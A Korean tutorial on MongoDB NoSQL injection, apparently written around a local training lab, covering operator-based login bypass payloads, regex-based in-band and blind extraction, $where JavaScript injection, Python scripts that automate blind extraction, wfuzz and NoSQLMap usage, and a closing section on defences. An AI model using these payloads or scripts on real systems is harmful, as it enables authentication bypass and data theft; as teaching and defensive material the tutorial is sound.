1. NoSQL이란?
대부분의 애플리케이션은 비밀번호, 이메일, 댓글 같은 데이터를 DB에 저장합니다. 가장 널리 쓰이는 건 Oracle, MySQL 같은 관계형(relational) DB지만, 지난 10여 년간 비관계형(non-relational), 즉 NoSQL DB가 빠르게 늘었습니다. MongoDB는 현재 전 세계에서 다섯 손가락 안에 드는 DB 엔진입니다.
이름이 좀 헷갈리는데, SQL을 아예 안 쓴다는 뜻이 아니고 "Not Only SQL"의 약자라서 SQL도 지원하는 제품이 꽤 있습니다.
NoSQL은 크게 네 가지 유형으로 나뉩니다. 관계형 DB가 모두 테이블·행·열이라는 동일한 방식으로 저장하는 것과 달리, NoSQL은 유형마다 저장 방식이 완전히 다릅니다.
| 유형 | 저장 방식 | 대표 제품 |
|---|---|---|
| 도큐먼트 지향 | field:value 쌍으로 이루어진 도큐먼트(JSON/BSON) |
MongoDB, Amazon DynamoDB, Google Firestore |
| 키-값 | key:value 쌍 (딕셔너리와 동일) |
Redis, DynamoDB, Azure Cosmos DB |
| 와이드 칼럼 | 테이블·행·열 구조지만 모호한 데이터 타입 처리 가능 | Cassandra, HBase, Azure Cosmos DB |
| 그래프 | 노드(node)에 저장하고 엣지(edge)로 관계 정의 | Neo4j, Azure Cosmos DB, Virtuoso |
이 글은 가장 많이 쓰이는 MongoDB 기준으로 작성했습니다. 인젝션 공격 벡터도 제일 잘 정리되어 있습니다.
MongoDB 기초
MongoDB는 도큐먼트 지향 DB입니다. 데이터는 컬렉션(collection) 안의 **도큐먼트(document)**로 저장되고, 각 도큐먼트는 field와 value로 구성됩니다. 도큐먼트는 BSON(Binary JSON) 형식으로 인코딩됩니다.
{
_id: ObjectId("63651456d18bf6c01b8eeae9"),
type: 'Granny Smith',
price: 0.65
}
여기서 type, price가 필드이고 'Granny Smith', 0.65가 값입니다. _id 필드는 MongoDB가 도큐먼트의 **기본 키(primary key)**로 예약해 둔 것으로, 컬렉션 전체에서 유일해야 합니다.
mongosh로 접속하기
mongosh로 커맨드라인에서 DB에 접속할 수 있습니다. 기본 포트는 27017/tcp입니다.
$ mongosh mongodb://127.0.0.1:27017
Current Mongosh Log ID: 636510136bfa115e590dae03
Using MongoDB: 6.0.2
Using Mongosh: 1.6.0
test>
test> show databases // DB 목록
admin 72.00 KiB
config 108.00 KiB
local 40.00 KiB
test> use academy // academy DB로 전환 (없으면 데이터 저장 시 생성)
switched to db academy
academy> show collections // 컬렉션 목록
MongoDB는 실제로 데이터를 넣기 전까지는 DB나 컬렉션을 만들지 않습니다. use academy만으로는 DB가 생기지 않고, 첫 도큐먼트를 삽입하는 순간 생성됩니다.
CRUD
// 삽입 (단일 / 다중)
db.apples.insertOne({ type: "Granny Smith", price: 0.65 })
db.apples.insertMany([
{ type: "Golden Delicious", price: 0.79 },
{ type: "Pink Lady", price: 0.90 }
])
// 조회 — 조건에 맞는 도큐먼트
db.apples.find({ type: "Granny Smith" })
// 조회 — 빈 도큐먼트는 모든 도큐먼트의 부분집합이므로 전체 반환
db.apples.find({})
// 정렬 + 개수 제한 (가격 내림차순 상위 2개)
db.apples.find({}).sort({ price: -1 }).limit(2) // 1=오름차순, -1=내림차순
// 수정 — filter로 대상 선택, update 연산자로 변경
db.apples.updateOne({ type: "Granny Smith" }, { $set: { price: 1.99 } })
db.apples.updateMany({}, { $inc: { price: 1 } }) // 전체 가격 1씩 증가
db.apples.replaceOne({ type: "Pink Lady" }, { name: "Pink Lady", price: 0.99 })
// 삭제
db.apples.remove({ price: { $lt: 0.8 } })
주요 쿼리 연산자
MongoDB 인젝션의 핵심은 결국 이 연산자들입니다. 공격에 자주 쓰이는 것 위주로 정리했습니다.
| 분류 | 연산자 | 의미 | 예시 |
|---|---|---|---|
| 비교 | $eq |
같음 | type: {$eq: "Pink Lady"} |
| 비교 | $ne |
같지 않음 | stock: {$ne: 0} |
| 비교 | $gt / $gte |
초과 / 이상 | price: {$gt: 0.30} |
| 비교 | $lt / $lte |
미만 / 이하 | price: {$lt: 0.60} |
| 비교 | $in / $nin |
배열에 포함 / 미포함 | type: {$in: ["Pink Lady"]} |
| 논리 | $and / $or |
모두 / 하나 만족 | $or: [{a:1},{b:2}] |
| 논리 | $not / $nor |
조건 불만족 | type: {$not: {$eq: "x"}} |
| 평가 | $regex |
정규식 일치 | type: {$regex: /^G.*/} |
| 평가 | $where |
JS 표현식 평가 | $where: "this.type.length === 9" |
$and와 $regex를 조합한 예 — "이름이 G로 시작하고 가격이 0.70 미만":
db.apples.find({
$and: [
{ type: { $regex: /^G/ } },
{ price: { $lt: 0.70 } }
]
})
// $where로도 같은 결과
db.apples.find({ $where: `this.type.startsWith('G') && this.price < 0.70` })
여기서 중요한 사실 하나. MongoDB는 강타입(strongly-typed)입니다. 문자열 "1"과 숫자 1을 다르게 취급합니다(1 != "1"). 이 성질이 뒤에서 방어의 핵심이 됩니다.
2. NoSQL Injection이란?
사용자 입력이 적절히 검증(sanitize)되지 않은 채 NoSQL 쿼리에 들어가면 NoSQL Injection이 발생합니다. 공격자가 쿼리의 일부를 제어할 수 있게 되면 쿼리 로직을 뒤집어 서버가 의도하지 않은 동작을 하거나 의도하지 않은 결과를 반환하게 만들 수 있습니다.
SQL과 달리 NoSQL은 표준화된 쿼리 언어가 없기 때문에, 인젝션 공격의 모양이 제품마다 다릅니다.
SQL Injection과 뭐가 다를까요?
SQL Injection은 입력값에 ' 같은 문자를 넣어서 쿼리 문자열 자체를 조작하는 방식입니다.
-- 원래 의도
SELECT * FROM users WHERE email='입력값' AND password='입력값'
-- ' OR '1'='1 를 넣으면
SELECT * FROM users WHERE email='' OR '1'='1' AND password='...'
NoSQL Injection은 접근 방식이 다릅니다. 문자열을 탈출하는 게 아니라, 데이터 타입 자체를 바꿔버립니다.
Node.js 시나리오로 먼저 보기
MongoDB를 쓰는 Express 서버에 /api/v1/getUser 엔드포인트가 있다고 합시다.
app.post('/api/v1/getUser', (req, res) => {
client.connect((_, con) => {
const cursor = con.db("example").collection("users")
.find({ username: req.body['username'] }); // 입력값을 그대로 사용
cursor.toArray((_, result) => res.send(result));
});
});
정상 사용:
$ curl -s -X POST .../getUser -H 'Content-Type: application/json' \
-d '{"username": "gerald1992"}'
# → username이 gerald1992인 사용자 한 명 반환
문제는 서버가 username으로 받은 값을 아무 검사 없이 그대로 쿼리에 넣는다는 점입니다. 문자열 대신 연산자 객체를 넣어봅시다.
$ curl -s -X POST .../getUser -H 'Content-Type: application/json' \
-d '{"username": {"$regex": ".*"}}'
# → username이 모든 문자열과 일치 → 전체 사용자 반환 (비밀번호 해시까지)
PHP에서 배열이 만들어지는 원리
이 글의 실습 환경은 PHP 기반입니다. PHP는 폼 데이터에서 [] 표기법을 쓰면 자동으로 배열을 만듭니다.
?color[]=red&color[]=blue → $_GET['color'] = ['red', 'blue']
이건 PHP의 정상 기능입니다. 그런데 이 규칙이 MongoDB 연산자와 만나면 문제가 생깁니다.
password[$ne]=x → $_POST['password'] = ['$ne' => 'x']
PHP에서 param[$op]=val은 param: {$op: val}과 같습니다. 이 배열이 그대로 쿼리에 들어가면:
db.accounts.find({ password: { $ne: "x" } })
// → 비밀번호가 "x"가 아닌 모든 계정을 반환
개발자가 의도한 건 password == 입력값인데, 실제로는 password != "x"가 되어버린 겁니다.
인젝션의 분류
SQL Injection을 안다면 익숙할 분류입니다.
| 유형 | 특징 |
|---|---|
| 인밴드(In-Band) | 공격에 쓴 같은 채널(HTTP 응답)로 결과가 바로 반환됨 |
| 블라인드(Blind) | 직접 결과는 없지만 서버 반응으로 데이터를 추론 |
| └ 불리언(Boolean) | 참/거짓에 따라 다른 응답 → 한 글자씩 추론 |
| └ 타임(Time-based) | 참/거짓에 따라 응답 지연 시간이 달라짐 |
| 아웃오브밴드 | DNS, HTTP 등 외부 채널로 데이터 반출 |
| SSJI | $where 등으로 DB 엔진에서 JS 직접 실행 |
3. 인증 우회 — PageVault
PageVault는 내부 웹메일로 추정되는 로그인 포털 하나만 있는 애플리케이션입니다. 인증 우회에 취약합니다.
취약점이 생기는 이유
서버 측 인증 코드를 봅니다.
if ($_SERVER['REQUEST_METHOD'] === "POST"):
if (!isset($_POST['email'])) die("Missing `email` parameter");
if (!isset($_POST['password'])) die("Missing `password` parameter");
if (empty($_POST['email'])) die("`email` can not be empty");
if (empty($_POST['password'])) die("`password` can not be empty");
$query = new MongoDB\Driver\Query([
'email' => $_POST['email'],
'password' => $_POST['password'],
]);
서버는 email과 password가 존재하는지, 비어있지 않은지만 확인합니다. 그 값이 문자열인지 배열인지는 검사하지 않고 그대로 쿼리에 넣습니다.
정상 사용자가 입력하면 쿼리는 이렇게 됩니다.
db.accounts.find({ email: "admin@pagestore.io", password: "Tr0ub4dor&3" })
의도대로 동작합니다. 그런데 비밀번호 자리에 연산자를 넣으면?
직접 확인해 보기
먼저 잘못된 비밀번호로 로그인해 봅니다. 당연히 실패합니다.

이번엔 Burp Suite에서 요청을 가로채서 비밀번호 파라미터를 바꿉니다.
POST /vault/index.php
email=admin@pagestore.io&password[$ne]=x
password[$ne]=x가 PHP를 거치면 ['$ne' => 'x'] 배열이 됩니다. 우리가 노리는 건 어떤 도큐먼트든 하나만 매치되면 그 사용자로 인증된다는 점입니다. 말로 풀면 "비밀번호가 x가 아닌 계정"인데, x는 존재하지 않는 값이니 사실상 모든 계정이 해당됩니다.
db.accounts.find({
email: "admin@pagestore.io",
password: { $ne: "x" }
})
비밀번호 검증이 무력화되고 로그인됩니다.

더 다양한 변형
같은 원리로 다양한 연산자를 쓸 수 있습니다. 알아두면 한 가지가 막혀도 다른 걸로 우회할 수 있습니다.
# 이메일도 모를 때 — 둘 다 $ne 처리
email[$ne]=x&password[$ne]=x
# $gt: 어떤 문자열이든 빈 문자열보다 '크다'
email[$gt]=&password[$gt]=
# $gte: 위와 같은 논리
email[$gte]=&password[$gte]=
# $regex: 아무 문자(.)가 0번 이상(*) 반복 → 모든 문자열과 일치
email[$regex]=.*&password[$regex]=.*
# 관리자 이메일을 알 때 — 특정 대상을 직접 노림
email=admin@pagestore.io&password[$ne]=x
연산자를 섞어 쓸 수도 있습니다. 쿼리 연산자를 깊이 이해해 두면 실전에서 큰 도움이 됩니다.
DB에는 다음 계정이 있습니다.
| 이메일 | 비밀번호 |
|---|---|
| admin@pagestore.io | Tr0ub4dor&3 |
| alice@pagestore.io | correcthorsebatterystaple |
| support@pagestore.io | P@ssw0rd2024! |
4. 인밴드 데이터 추출 — PageSearch
인밴드(In-Band)란?
"인밴드"는 공격에 사용한 같은 채널(HTTP 응답)로 데이터가 반환된다는 뜻입니다. 쿼리를 보내고 결과가 바로 화면에 나오는 가장 직관적인 방식입니다.
전통적인 SQL DB에서는 인밴드 취약점으로 DB 전체를 통째로 덤프할 수 있는 경우가 많습니다. 하지만 MongoDB는 비관계형이고 쿼리가 특정 컬렉션 단위로 수행되기 때문에, 공격 범위가 (보통) 인젝션이 적용되는 그 컬렉션으로 제한됩니다.
왜 $regex로 전체 데이터를 가져올 수 있을까요?
PageSearch는 망고 종류에 대한 사실을 검색하는 간단한 페이지입니다. 검색은 GET 요청 ?q=<검색어>로 전송되고, URL 인코딩 데이터이므로 param[$op]=val 형태로 넣어야 합니다.
서버 쿼리 구조:
$query = new MongoDB\Driver\Query(['name' => $_GET['q']]);
name이 입력값과 일치하는 도큐먼트를 찾습니다. 여기에 문자열 대신 $regex를 넣으면:
?q[$regex]=.*
db.catalog.find({ name: { $regex: /.*/ } })
// → 이름이 어떤 문자열이든 일치 → 전체 컬렉션 반환
정상 검색은 해당 항목만 나오지만:

$regex=.*를 넣으면 DB에 있는 전체가 반환됩니다.

대안 페이로드
?q[$ne]=doesntExist # 존재하지 않는 값이 아닌 것 → 사실상 전체
?q[$gt]= # 빈 문자열보다 '큰' 모든 도큐먼트
?q[$gte]= # 빈 문자열 '이상'
?q[$lt]=~ # 첫 글자가 ~(틸드)보다 '작은' 것
?q[$regex]=^C # C로 시작하는 항목
?q[$regex]=.*Code # "Code"가 포함된 항목
~(틸드)는 출력 가능한 ASCII 중 가장 큰 값입니다. 컬렉션의 모든 이름이 ASCII로 되어 있다고 가정하면, $lt: '~'는 사실상 전부와 일치합니다. 항상 통하는 건 아니지만 알아두면 유용한 트릭입니다.
5. 블라인드 데이터 추출 — PageTrack
블라인드(Blind)란?
인밴드 추출은 결과가 응답에 바로 나오는 경우입니다. 그런데 현실에서는 데이터를 직접 보여주지 않는 API가 훨씬 많습니다.
PageTrack은 주문번호(JSON)를 받아 배송 정보를 반환하는 패키지 추적 앱입니다. 이전 두 예제와 달리 URL 인코딩이 아니라 JSON 객체를 보낸다는 점에 주목하세요. 페이지가 새로고침되지 않는데, 이는 JavaScript가 폼 데이터를 JSON으로 바꿔 XMLHttpRequest로 POST하고 결과를 일부 영역에만 갱신하기 때문입니다. (Ctrl-U나 view-source:로 확인 가능)
$query = new MongoDB\Driver\Query(['orderNum' => $body->orderNum]);
응답을 보면 수취인, 배송지, 날짜는 나오지만 주문번호 자체는 나오지 않습니다.



{"orderNum": {"$regex": ".*"}}를 보내면 주문이 있는 도큐먼트를 반환하긴 하지만, 응답에 주문번호가 없으니 그게 뭔지는 알 수 없습니다.
오라클(Oracle) 기법
여기서 발상을 전환합니다. "데이터를 직접 가져오는 것"을 포기하고, 대신 "이 데이터가 존재하는가?"라는 참/거짓 질문만 반복합니다.
{"orderNum": {"$ne": "x"}}→ 패키지 정보 반환 (참){"orderNum": {"$eq": "x"}}→ "주문번호 없음" (거짓)
서버는 우리가 준 임의의 쿼리에 대해 사실상 yes/no를 답해줍니다. 이렇게 참/거짓만 알려주는 함수를 **오라클(Oracle)**이라 부릅니다. 데이터를 직접 못 가져와도, 오라클을 반복 호출해 간접적으로 한 글자씩 복원할 수 있습니다.
컬렉션에 패키지가 여러 개일 수 있으므로, 같은 패키지에서 추출하고 있는지 확인하려면 응답에 특정 수취인 이름(예:
r3searcher)이 들어있는지를 기준으로 삼습니다.
# 1단계: 첫 글자 찾기 (0,1,2... 순서대로)
{"orderNum": {"$regex": "^0.*"}} → 거짓
{"orderNum": {"$regex": "^3.*"}} → 참 ← 첫 글자 '3'
# 2단계: 두 번째 글자
{"orderNum": {"$regex": "^30.*"}} → 거짓
{"orderNum": {"$regex": "^32.*"}} → 참 ← '2'
# ... 끝까지 반복. $를 붙여 문자열 끝을 확인하면 전체 추출 완료
{"orderNum": {"$regex": "^32A766XY$"}} → 참
아래는 Burp Repeater에서 참(정보 반환)과 거짓(빈 응답)의 차이를 비교한 화면입니다.


주문번호에는 숫자뿐 아니라 문자도 들어갈 수 있습니다. 정규식 끝에
$를 붙이면 "여기서 문자열이 끝난다"를 의미하므로, 전체가 다 추출됐는지 검증하는 데 씁니다.
6. 블라인드 추출 자동화
수동 추출의 한계
블라인드 추출은 한 글자마다 여러 번 요청해야 합니다. 문자 후보가 많고 데이터가 길면 수동으로는 불가능합니다. 그래서 오라클을 코드로 구현하고 반복을 자동화합니다.
오라클 함수와 검증
먼저 오라클 함수를 만들고, 정답을 아는 입력으로 assert 검증하는 게 중요합니다. 오라클이 잘못 동작하면 추출 결과 전체가 틀어지기 때문입니다.
import requests, json
TARGET = "http://localhost:8080/track/index.php"
def oracle(query):
r = requests.post(
TARGET,
headers={"Content-Type": "application/json"},
data=json.dumps({"orderNum": query})
)
return "r3searcher" in r.text # 수취인 이름이 응답에 있으면 참
# 정답을 아는 입력으로 오라클 검증 (오류 없이 통과해야 정상)
assert oracle("NOTEXIST") == False
assert oracle({"$regex": "^FLAG{.*"}) == True
오타가 있으면 AssertionError가 납니다. 예를 들어 매치 기준 문자열을 잘못 쓰면 바로 여기서 걸립니다.
선형 탐색
추출할 값의 형식을 미리 알면(예: ^FLAG\{[0-9a-z_]+\}$) 문자 후보를 줄여 요청 수를 크게 아낄 수 있습니다.
flag = "FLAG{"
CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz_}"
for _ in range(50):
found = False
for c in CHARSET:
if oracle({"$regex": "^" + flag + c}):
flag += c
print(f"\r현재: {flag}", end="", flush=True)
found = True
break
if flag.endswith("}") or not found:
break
print(f"\n최종: {flag}")
문자 집합이 작으면(0-9a-f처럼) 매우 빠릅니다 — 수십 글자도 20초 안팎.
이진 탐색으로 개선하기
선형 탐색은 후보가 N개면 글자당 최악 N번 요청합니다. 이진 탐색을 쓰면 탐색 구간을 절반씩 줄여 글자당 log₂(N)번으로 줄어듭니다. 출력 가능한 ASCII 전체(32~126, 95개)를 다뤄야 하는 경우 효과가 특히 큽니다.
후보 범위: 32 ~ 126
"이 글자의 ASCII가 79보다 크냐?" → 참 → 80~126으로 좁힘
"102보다 크냐?" → 거짓 → 80~102로 좁힘
... 7번 안에 정확히 특정
def extract_binary(prefix, max_len=50):
result = prefix
while len(result) - len(prefix) < max_len:
low, high = 32, 126
found = False
while low <= high:
mid = (low + high) // 2
if oracle({"$regex": f"^{result}" + chr(mid + 1) + ".*"}):
low = mid + 1
elif oracle({"$regex": f"^{result}" + chr(mid - 1) + ".*"}):
high = mid - 1
else:
result += chr(mid)
found = True
break
if not found or result.endswith("}"):
break
return result
| 방식 | 글자당 최대 요청 | 40글자 기준 총 요청(대략) |
|---|---|---|
| 선형 탐색 | N회 (전체 ASCII면 95) | 수천 회 |
| 이진 탐색 | 7회 | 수백 회 |
7. 서버 사이드 JavaScript 인젝션 — PageClub
$where 연산자란?
NoSQL 고유의 인젝션이 하나 있습니다. 서버가 DB 컨텍스트에서 임의의 JavaScript를 실행하게 만드는 SSJI(Server-Side JavaScript Injection)입니다. MongoDB의 $where는 조건을 JavaScript 코드로 작성하게 해줍니다.
db.members.find({ age: { $gt: 18 } }) // 일반 연산자
db.members.find({ $where: "this.age > 18" }) // $where로 같은 조건
강력하지만 위험합니다. JavaScript가 DB 엔진에서 직접 실행되기 때문입니다.
왜 위험할까요?
PageClub의 로그인 코드:
$jsExpr = 'this.username === "' . $_POST['username'] . '" && this.password === "' . md5($_POST['password']) . '"';
$query = new MongoDB\Driver\Query(['$where' => $jsExpr]);
사용자 이름을 문자열 연결로 JS 코드에 직접 붙입니다. 정상 입력이면:
this.username === "librarian" && this.password === "5f4dcc3b..."
PageVault에서 쓴 $ne, $regex 같은 페이로드는 여기서 통하지 않습니다. 서버가 $where로 JS를 평가하기 때문입니다. 대신 username에 " || true || ""=="를 넣으면:
this.username === "" || true || ""=="" && this.password === "..."
JavaScript는 ||를 왼쪽부터 평가하고, true가 나오는 순간 나머지를 건너뛰고 참을 반환합니다. 모든 도큐먼트가 조건을 만족하게 됩니다. 브라우저 개발자 콘솔에 그대로 붙여넣어 보면 true가 나오는 걸 직접 확인할 수 있습니다.
정상 로그인:

페이로드로 인증 우회 (임의의 비밀번호 입력):

주의: 우리가 매치한 도큐먼트의 실제 username은 화면에 표시되지 않습니다. 우리가 넣은 SSJI 페이로드가 표시될 뿐입니다. 그래서 그 username을 알아내려면 블라인드 추출이 필요합니다.
SSJI로 블라인드 추출
$where에서 JS를 실행할 수 있으니, match()로 정규식 일치 여부를 오라클 삼아 블라인드 추출이 가능합니다. PageTrack의 $regex와 완전히 같은 원리입니다.
" || (this.username.match('^.*')) || ""==" → 로그인 성공 (sanity check, 참)
" || (this.username.match('^a.*')) || ""==" → 실패 (거짓)
" || (this.username.match('^F.*')) || ""==" → 성공 → 'F'로 시작


8. SSJI 자동화 및 최적화
PageTrack 블라인드 추출과 원리는 동일합니다. 오라클 함수만 SSJI 방식으로 바꾸면 됩니다. 페이로드 안의 true 자리에 우리가 평가시키고 싶은 임의의 JS 표현식을 넣고, 결과가 참이면 로그인되는 구조입니다. 비밀번호는 결과에 영향이 없으니 상수로 둡니다.
import requests
from urllib.parse import quote_plus
TARGET = "http://localhost:8080/club/index.php"
num_req = 0
def oracle(expr):
global num_req
num_req += 1
payload = '" || (' + expr + ') || ""=="'
r = requests.post(
TARGET,
headers={"Content-Type": "application/x-www-form-urlencoded"},
data="username=%s&password=x" % quote_plus(payload)
)
return "Logged in as" in r.text # 로그인 성공 = 참
assert oracle("false") == False
assert oracle("true") == True
선형 탐색 (charCodeAt)
$regex와 달리 SSJI는 ASCII 32~126 전체를 다뤄야 합니다. charCodeAt(i)로 i번째 글자의 ASCII 코드를 가져와 비교합니다. startsWith("FLAG{")로 대상 사용자를 특정합니다.
num_req = 0
username = "FLAG{"
i = 5 # "FLAG{" 다음부터
while username[-1] != "}":
for c in range(32, 127):
if oracle(f'this.username.startsWith("FLAG{{") && this.username.charCodeAt({i}) == {c}'):
username += chr(c)
break
i += 1
assert oracle(f'this.username == `{username}`') == True
print(f"Username: {username} / Requests: {num_req}")
# 예: 1678 requests, 약 2분 40초
이진 탐색
== 대신 > / <로 구간을 좁히면 글자당 최대 7번으로 줄어듭니다.
num_req = 0
username = "FLAG{"
i = 5
while username[-1] != "}":
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
if oracle(f'this.username.startsWith("FLAG{{") && this.username.charCodeAt({i}) > {mid}'):
low = mid + 1
elif oracle(f'this.username.startsWith("FLAG{{") && this.username.charCodeAt({i}) < {mid}'):
high = mid - 1
else:
username += chr(mid)
break
i += 1
assert oracle(f'this.username == `{username}`') == True
print(f"Username: {username} / Requests: {num_req}")
선형 탐색 1678회 / 2분 40초 → 이진 탐색 286회 / 24초. 작은 데이터에선 체감이 작지만, 추출량이 많아질수록 차이가 극적으로 벌어집니다.
9. 퍼징 및 자동화 도구
wfuzz 퍼징
취약점이 있는지 처음부터 수동으로 찾기 어려울 때 퍼징을 씁니다. 미리 준비된 NoSQLi 페이로드 목록을 자동 전송하고, 응답이 다르게 나오는 것을 찾는 블랙박스 기법입니다. 퍼징의 효과는 워드리스트 선택에 크게 좌우됩니다.
wfuzz -z file,/usr/share/seclists/Fuzzing/Databases/NoSQL.txt \
-u http://localhost:8080/track/index.php \
-d '{"orderNum": FUZZ}'
-z file,<경로>: 사용할 워드리스트-u: 대상 URL-d: POST 데이터 (FUZZ자리에 페이로드가 치환됨)
ID Response Lines Word Chars Payload
000017: 200 0 L 6 W 35 Ch "{$gt: ''}"
000018: 200 3 L 13 W 136 Ch "{"$gt": ""}" ← 응답 크기가 다름!
대부분 35 Ch인데 {"$gt": ""}만 136 Ch로 튑니다. 이 페이로드가 서버를 다르게 반응시켰다는 뜻이므로, 수동으로 다시 보내 결과를 확인하면 됩니다.
| 워드리스트 | 특징 |
|---|---|
seclists/Fuzzing/Databases/NoSQL.txt |
일반 NoSQL 페이로드 22개 |
nosqlinjection_wordlists/mongodb_nosqli.txt |
MongoDB 특화 확장 목록 |
NoSQLMap
NoSQLMap은 Python 2 기반 자동화 도구입니다. 취약 파라미터 탐지부터 데이터 추출까지 처리합니다. (Docker 이미지는 잘 동작하지 않으니 직접 설치 권장)
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
pip2 install couchdb pbkdf2 pymongo ipcalc
python2 nosqlmap.py \
--attack 2 \ # 웹 공격 모드
--victim 127.0.0.1 --webPort 8080 \ # IP / 포트
--uri /vault/index.php --httpMethod POST \ # 경로 / 메서드
--postData email,admin@pagestore.io,password,qwerty \
--injectedParameter 1 \ # password 파라미터 테스트
--injectSize 4
10. 대응방안
지금까지 본 공격들은 결국 하나의 원인으로 수렴합니다. 사용자 입력을 검증 없이 쿼리에 그대로 사용한 것입니다.
핵심 원리: MongoDB는 강타입, PHP(7.4)는 약타입. PHP는 1 == "1"을 참으로 보지만 MongoDB는 문자열과 객체를 엄격히 구분합니다. 따라서 입력을 기대하는 타입(문자열)으로 강제 변환하면 배열/객체 주입이 막힙니다.
1) 타입 캐스팅 (배열/객체 주입 차단)
$query = new MongoDB\Driver\Query([
'email' => strval($_POST['email']),
'password' => strval($_POST['password']),
]);
strval(['$ne' => 'x'])는 문자열 "Array"가 됩니다. MongoDB는 비밀번호로 "Array"를 찾으니 일치 계정이 없어 공격이 실패합니다.
php > echo strval(array("op" => "val"));
PHP Notice: Array to string conversion ...
Array
PageVault, PageSearch, PageTrack은 모두 이 캐스팅 한 줄로 막힙니다.
2) 입력 형식 검증 (화이트리스트)
캐스팅만으로 충분하지만, 형식 검증을 더하면 향후 다른 버그도 예방됩니다.
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
http_response_code(400); die("유효하지 않은 이메일");
}
if (!preg_match('/^[a-z0-9\{\}]+$/i', $orderNum)) {
http_response_code(400); die("유효하지 않은 주문번호");
}
3) $where 제거 (PageClub)
PageClub은 배열 주입이 아니라 JS 문자열 연결이 문제라 캐스팅으로는 막히지 않습니다. $where 자체를 일반 연산자 쿼리로 바꿔야 합니다. MongoDB 개발팀도 "다른 방법이 불가능할 때만" $where를 쓰라고 권고합니다.
$query = new MongoDB\Driver\Query([
'username' => strval($_POST['username']),
'password' => md5($_POST['password']),
]);
4) 서버 사이드 JS 평가 비활성화
프로젝트에서 JS 평가 쿼리를 전혀 안 쓴다면 아예 꺼두는 게 안전합니다(기본값은 활성화).
# mongod.conf
security:
javascriptEnabled: false
정리
| 항목 | 방법 |
|---|---|
| 타입 캐스팅 | strval(), intval() 등으로 입력 타입 고정 |
| 입력 검증 | 화이트리스트 정규식으로 허용 형식 제한 |
| $where 제거 | 일반 쿼리 연산자로 대체 |
| JS 평가 비활성화 | mongod.conf에서 javascriptEnabled: false |
| 최소 권한 | 서비스 계정에 필요한 권한만 부여 |
| 오류 메시지 숨김 | DB 오류를 사용자에게 노출하지 않음 |
SQL은 파라미터화 쿼리(prepared statement)라는 강력한 방어책이 있지만, NoSQL/MongoDB에는 그에 정확히 대응하는 단일 수단이 없습니다. 그래서 개발자가 할 수 있는 최선은 (1) 원시 입력을 절대 그대로 쓰지 않기(화이트리스트로 검증), (2) JS 평가 표현식을 최대한 피하기입니다.
마치며
NoSQL Injection을 한 문장으로 정리하면 이렇습니다. 서버가 입력값의 타입을 신뢰할 때 공격자는 문자열 대신 연산자 객체(또는 JS 표현식)를 집어넣습니다.
인증 우회, 인밴드 추출, 블라인드 추출, SSJI 모두 같은 원인에서 나옵니다. 방어도 마찬가지입니다. 입력값이 쿼리에 들어가기 전에 타입과 형식을 검증하면 대부분 막을 수 있습니다.
Node.js + Express + MongoDB 조합에서 특히 자주 보이는 패턴입니다. req.body를 검증 없이 바로 쿼리에 넣는 코드가 생각보다 많습니다. 알고 있으면 막을 수 있는 취약점입니다.
마지막으로, NoSQLi 탐색에서 가장 중요한 자질은 창의성과 적응력입니다. 정해진 페이로드가 안 통해도 연산자를 섞고 변형하면 길이 열리는 경우가 많습니다.
Comments
Sign in with GitHub to leave a comment.